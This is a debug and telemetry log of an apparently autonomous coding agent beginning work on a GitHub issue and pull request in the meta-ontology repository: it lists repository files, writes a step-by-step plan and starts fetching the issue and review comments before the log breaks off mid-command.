[INFO] 2026-07-12T04:02:26.779234Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-efc84b53-6625-4e81-ade8-62748e5a1cbd decision=approved source=Config event.timestamp=2026-07-12T04:02:26.779Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:26.781Z] [INFO] \n[2026-07-12T04:02:26.991Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_2\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"pwd && git branch --show-current && git status --short --branch && rg --files -g 'AGENTS.md' -g 'CONTRIBUTING*' -g 'README*' -g 'pyproject.toml' -g 'package.json' -g '.github/**' | sed -n '1,200p'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:26.991Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_2\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"pwd && git branch --show-current && git status --short --branch && rg --files -g 'AGENTS.md' -g 'CONTRIBUTING*' -g 'README*' -g 'pyproject.toml' -g 'package.json' -g '.github/**' | sed -n '1,200p'\\\"\",\"aggregated_output\":\"/tmp/gh-issue-solver-1783828904396\\nissue-5-e2602184e2c5\\n## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5\\nREADME.md\\nCONTRIBUTING.md\\nchangelog.d/README.md\\ndocs/plan/README.md\\ndocs/case-studies/issue-1/README.md\\ndocs/case-studies/issue-21/README.md\\ndocs/case-studies/issue-11/README.md\\ndocs/case-studies/issue-25/README.md\\ndocs/case-studies/issue-32/README.md\\ndocs/case-studies/issue-34/README.md\\ndocs/case-studies/issue-3/README.md\\ndocs/case-studies/issue-17/README.md\\ndocs/case-studies/issue-29/README.md\\ndocs/case-studies/issue-19/README.md\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:26.991Z] [INFO] \n[2026-07-12T04:02:27.007Z] [INFO] 2026-07-12T04:02:26.990653Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-efc84b53-6625-4e81-ade8-62748e5a1cbd arguments={\"cmd\":\"pwd && git branch --show-current && git status --short --branch && rg --files -g 'AGENTS.md' -g 'CONTRIBUTING*' -g 'README*' -g 'pyproject.toml' -g 'package.json' -g '.github/**' | sed -n '1,200p'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":20000} duration_ms=139 success=true output=Chunk ID: 5821fa\n[2026-07-12T04:02:27.007Z] [INFO] Wall time: 0.0000 seconds\n[2026-07-12T04:02:27.007Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:27.007Z] [INFO] Original token count: 137\n[2026-07-12T04:02:27.007Z] [INFO] Output:\n[2026-07-12T04:02:27.007Z] [INFO] /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:02:27.007Z] [INFO] issue-5-e2602184e2c5\n[2026-07-12T04:02:27.007Z] [INFO] ## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5\n[2026-07-12T04:02:27.007Z] [INFO] README.md\n[2026-07-12T04:02:27.007Z] [INFO] CONTRIBUTING.md\n[2026-07-12T04:02:27.007Z] [INFO] changelog.d/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/plan/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-1/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-21/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-11/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-25/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-32/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-34/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-3/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-17/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-29/README.md\n[2026-07-12T04:02:27.007Z] [INFO] docs/case-studies/issue-19/README.md\n[2026-07-12T04:02:27.007Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:26.887Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:27.007Z] [INFO] 2026-07-12T04:02:26.990694Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-efc84b53-6625-4e81-ade8-62748e5a1cbd duration_ms=139 success=true arguments_length=301 output_length=650 output_line_count=22 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:26.990Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:27.007Z] [INFO] \n[2026-07-12T04:02:27.014Z] [INFO] 2026-07-12T04:02:27.007294Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_zBUDLr3OgQwwGYXSpzH8j3zz arguments=const p = await tools.update_plan({plan:[\n[2026-07-12T04:02:27.014Z] [INFO]   {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"in_progress\"},\n[2026-07-12T04:02:27.014Z] [INFO]   {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"pending\"},\n[2026-07-12T04:02:27.014Z] [INFO]   {step:\"Implement the smallest complete fix and any required release metadata\",status:\"pending\"},\n[2026-07-12T04:02:27.014Z] [INFO]   {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"pending\"},\n[2026-07-12T04:02:27.014Z] [INFO]   {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"pending\"},\n[2026-07-12T04:02:27.014Z] [INFO]   {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"pending\"}\n[2026-07-12T04:02:27.014Z] [INFO] ]});\n[2026-07-12T04:02:27.014Z] [INFO] const r = await tools.exec_command({cmd:\"pwd && git branch --show-current && git status --short --branch && rg --files -g 'AGENTS.md' -g 'CONTRIBUTING*' -g 'README*' -g 'pyproject.toml' -g 'package.json' -g '.github/**' | sed -n '1,200p'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":20000});\n[2026-07-12T04:02:27.014Z] [INFO] text(r.output);\n[2026-07-12T04:02:27.014Z] [INFO]  duration_ms=406 success=true output=Script completed\n[2026-07-12T04:02:27.014Z] [INFO] Wall time 0.4 seconds\n[2026-07-12T04:02:27.014Z] [INFO] Output:\n[2026-07-12T04:02:27.014Z] [INFO] \n[2026-07-12T04:02:27.014Z] [INFO] /tmp/gh-issue-solver-1783828904396\n[2026-07-12T04:02:27.014Z] [INFO] issue-5-e2602184e2c5\n[2026-07-12T04:02:27.014Z] [INFO] ## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5\n[2026-07-12T04:02:27.014Z] [INFO] README.md\n[2026-07-12T04:02:27.014Z] [INFO] CONTRIBUTING.md\n[2026-07-12T04:02:27.014Z] [INFO] changelog.d/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/plan/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-1/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-21/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-11/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-25/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-32/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-34/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-3/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-17/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-29/README.md\n[2026-07-12T04:02:27.014Z] [INFO] docs/case-studies/issue-19/README.md\n[2026-07-12T04:02:27.014Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:27.007Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:27.014Z] [INFO] 2026-07-12T04:02:27.007933Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_zBUDLr3OgQwwGYXSpzH8j3zz duration_ms=406 success=true arguments_length=1031 output_length=594 output_line_count=21 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:27.007Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:27.014Z] [INFO] 2026-07-12T04:02:27.008164Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_zBUDLr3OgQwwGYXSpzH8j3zz tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=407 total_duration_ms=407\n[2026-07-12T04:02:27.014Z] [INFO] \n[2026-07-12T04:02:27.070Z] [INFO] 2026-07-12T04:02:27.062656Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:27.070Z] [INFO] \n[2026-07-12T04:02:27.127Z] [INFO] 2026-07-12T04:02:27.126682Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:27.127Z] [INFO] \n[2026-07-12T04:02:27.134Z] [INFO] 2026-07-12T04:02:27.130491Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:27.134Z] [INFO] \n[2026-07-12T04:02:27.139Z] [INFO] 2026-07-12T04:02:27.137113Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:27.139Z] [INFO] \n[2026-07-12T04:02:27.144Z] [INFO] 2026-07-12T04:02:27.143816Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:02:27.144Z] [INFO] \n[2026-07-12T04:02:27.155Z] [INFO] 2026-07-12T04:02:27.151610Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:27.151Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:27.155Z] [INFO] 2026-07-12T04:02:27.151675Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:27.151Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:27.155Z] [INFO] 2026-07-12T04:02:27.151690Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:27.155Z] [INFO] \n[2026-07-12T04:02:27.238Z] [INFO] 2026-07-12T04:02:27.238498Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:27.238Z] [INFO] \n[2026-07-12T04:02:27.257Z] [INFO] 2026-07-12T04:02:27.239268Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:27 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"x-oai-request-id\": \"06c5e389-8742-4efc-9273-ac97233e22b9\", \"x-openai-proxy-wasm\": \"v0.1\", \"cf-cache-status\": \"DYNAMIC\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=9w7Zm2ylZ%2BNrL2FabXwzJ%2FLaAwUdsjUUF4tnd1f7fNQyXCKl7zth36CLLTPH9nf%2FIkpZ9YgoI1xfVxmlIqrC%2F9l5DM%2FHBXslpa%2FUsn1CJyDzHYFpw60IR2AW2GLD\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-ray\": \"a19d2707d92dd27c-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:27.257Z] [INFO] \n[2026-07-12T04:02:27.481Z] [INFO] 2026-07-12T04:02:27.477887Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:27.481Z] [INFO] \n[2026-07-12T04:02:27.535Z] [INFO] 2026-07-12T04:02:27.535383Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:27.535Z] [INFO] \n[2026-07-12T04:02:27.552Z] [INFO] 2026-07-12T04:02:27.551408Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:27.552Z] [INFO] \n[2026-07-12T04:02:27.556Z] [INFO] 2026-07-12T04:02:27.553094Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:27.556Z] [INFO] \n[2026-07-12T04:02:27.565Z] [INFO] 2026-07-12T04:02:27.561502Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:27.565Z] [INFO] \n[2026-07-12T04:02:28.838Z] [INFO] 2026-07-12T04:02:28.837399Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:28.838Z] [INFO] \n[2026-07-12T04:02:28.892Z] [INFO] 2026-07-12T04:02:28.890176Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:28.892Z] [INFO] \n[2026-07-12T04:02:28.952Z] [INFO] 2026-07-12T04:02:28.951365Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:28.952Z] [INFO] \n[2026-07-12T04:02:28.966Z] [INFO] 2026-07-12T04:02:28.965541Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311d4f3a081919e8d9e58e83cbaf6\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHUvex_28WDj637jWK7NHZfDtS6Vmh56vIU-tlviFJEYKeU_2MGDOi22H_6G4ysW9oiQkRlqCyVqnKs-JtFKTRD4QjArQrArtFnNL3Ku-D3eAirrLel7KcAPEIg_N9r-tR0uUq8BQhsztFBrlPe8g2WEUmuWLxDkXwMP5KhQ7b808JCq63C02w5CCKN5hgBJfe_99gyueHt7P8QRvunli4UjIkCTKtdSmnVN7Uj1N7BpjvMoCpo31i1irtFZIccXm8_O040m5_WLu7zEKBB8t8L2TTD5KOxMm2Ig3Pjhg3QHwvrEI8HxB8HdMD10yiVm409fFwUf40JACqdzjaplZzUO1TZ39Mr19t2n3-OGrRbl6A48Y85cc6tc_McPRca2_nSN4VY133eC9lNivW9JvimAYVAUSTaUL0MsMn2ssJ3VAS5BT4o3tlc11z_gJXuaCMdqcm0pxLxFQYEc2XKvx_OLvDXus6YZSssDcaGKDkJdk5UX7sZ8uYsqOEumH6g3uhkOg3tDwfUcizvz7ENVyneCvF5AWSpAnH3T66ewGW3cDDF_bskAj167Ydj9RIOROG2o16qp2x5KGwh3QXVG0hV4LBclw0vq7pbHbQ5ReBfr1p0RkwNFeQqmAuF1GsoI0bOI-hSV8_qLo16aTQ6H1cVGEPqd-bMR95z1b_bRtWxxF79eM_2Za53nFbl49u3DocgR7BQikGmAXXqyXydMzt6ONg2h1lVpXSCu7p5RV4a4yoMmcYLKc12dkgmmQgRcLp-QAqItfIVV0D6AzHOsxhL20k1ZmOX-UXRXkJgMsOpKvCyDxArF2m7dlk0kOGPU6N17inOulXZ5GjdtgxQbKYx0KJZabLxqPGkT46TMG7sAKL42IOM-lIyqpb1bhDmE_LuNC4f_tgWooyIWPnu9LAhnA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:28.966Z] [INFO] \n[2026-07-12T04:02:28.974Z] [INFO] 2026-07-12T04:02:28.973571Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:28.974Z] [INFO] \n[2026-07-12T04:02:28.975Z] [INFO] 2026-07-12T04:02:28.975545Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:28.975Z] [INFO] \n[2026-07-12T04:02:28.984Z] [INFO] 2026-07-12T04:02:28.984500Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:28.984Z] [INFO] \n[2026-07-12T04:02:29.897Z] [INFO] 2026-07-12T04:02:29.882579Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311d4f3a081919e8d9e58e83cbaf6\"), summary: [SummaryText { text: \"**Implementing parallel GitHub fetch**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHVy4LJESO40Kd3nxIHZBMR7QUkPQSN1vNi5e3P74s9LCIAQEb345xN_8zDka8psT_LvGBhU8uylY1Jz8ZhxAnaNfvdpoAbDp88WI0OS48vAyV_MdX__qbjX7JlCjPpAVQu12CaFy2rjd98g_K1vXQUoNJwPI43UrAvJ3Pa0dGxbg5n1xTrp_jprjScwXTb1Mea-qqyg397s2TjnYCu3LCFmOWv37cLYu7Dr4RRM9I-YscmNFqm9NTW5Iicg_juGhtHDstj5QfWB_tPSw_Glhpei_1a-qE3LaDi1VtkaD9wnD8C8PqUowOmFDLh4hTPMKI9Pue4Qkg2IEhanvKXSwiwbBVN2uG114JR3P5XafXXFweWZsSimcihuf7jzjoIAd6kzwmsnl9h4wA-E_Sj5tCoc8ebp7FAensik9d9n_OPmsYSs9CVgvjEle8SIN4t7POyGNmdiWHAqkAapaRtUq0McDOuR9hpr4gErOzp9kTYdFmeuUPsPaCy26bbGR1BBF2STHB-H8q4CMrrzoTPyj7sYk0sq1I_2jaXiiHQMaIKPeCh7VOoehCAh4mqRTXEiZW6hy0od-KhNLO2Hais-di2FFXyduGo7j3LHfQdJ4fgbarc4-E2Vj_B0oWP-11Sd3u3E_qpQfewLUkeKHpESG8Iv8P45NjYLnp8WBWlLtURl8uQsZmRsngFIKvnqEF1hYca5SqO_6fcwSSbMZx2rY-IbuYb2HrvLxhEABTRRSYX1vH-l8yDgruPX_R_bqE-zQhc9C1J3og-UIX8znl2nRNS8O2eM6XB5yXIJejDxCubOVHeqq3a6RoCvF5QqNmpt-ScpOY-utdGDSMJeKnXdzjOZL2W7wYs9N0K06K5-ZVSnGBEElSXa0FQZzK-HwSHlcVnGgq7EarVQS09Kkn4oqQPPeFQKqEmBvRTAuVziAxpOPt6JQRRI8bBYYMXGNo7SKeC-gs3a5Sh8HfuMdIeIbmugg==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:29.897Z] [INFO] 2026-07-12T04:02:29.883814Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5311d5d04c8191b46cc81d56b100c2\"), status: Some(\"in_progress\"), call_id: \"call_0Pxj9KE5sHlOquC086wVDtFa\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:29.897Z] [INFO] \n[2026-07-12T04:02:29.899Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_3\",\"type\":\"reasoning\",\"text\":\"**Implementing parallel GitHub fetch**\"}}\n[2026-07-12T04:02:29.899Z] [INFO] \n[2026-07-12T04:02:30.021Z] [INFO] 2026-07-12T04:02:30.019369Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:30.021Z] [INFO] \n[2026-07-12T04:02:35.053Z] [INFO] 2026-07-12T04:02:35.047374Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const cmds = [\n[2026-07-12T04:02:35.053Z] [INFO]   [\"issue\",\"gh issue view 5 --repo link-foundation/meta-ontology --json number,title,body,state,author,labels,assignees,comments,url\"],\n[2026-07-12T04:02:35.053Z] [INFO]   [\"issue_comments\",\"gh api repos/link-foundation/meta-ontology/issues/5/comments --paginate\"],\n[2026-07-12T04:02:35.053Z] [INFO]   [\"pr\",\"gh pr view 6 --repo link-foundation/meta-ontology --json number,title,body,state,isDraft,author,baseRefName,headRefName,mergeable,mergeStateStatus,statusCheckRollup,commits,files,url\"],\n[2026-07-12T04:02:35.053Z] [INFO]   [\"pr_inline\",\"gh api repos/link-foundation/meta-ontology/pulls/6/comments --paginate\"],\n[2026-07-12T04:02:35.053Z] [INFO]   [\"pr_conversation\",\"gh api repos/link-foundation/meta-ontology/issues/6/comments --paginate\"],\n[2026-07-12T04:02:35.053Z] [INFO]   [\"pr_reviews\",\"gh api repos/link-foundation/meta-ontology/pulls/6/reviews --paginate\"],\n[2026-07-12T04:02:35.053Z] [INFO]   [\"repo\",\"git remote -v && git log --oneline --decorate -12 && sed -n '1,240p' CONTRIBUTING.md && sed -n '1,220p' README.md\"]\n[2026-07-12T04:02:35.053Z] [INFO] ];\n[2026-07-12T04:02:35.053Z] [INFO] const results = await Promise.all(cmds.map(async ([name,cmd]) => [name, await 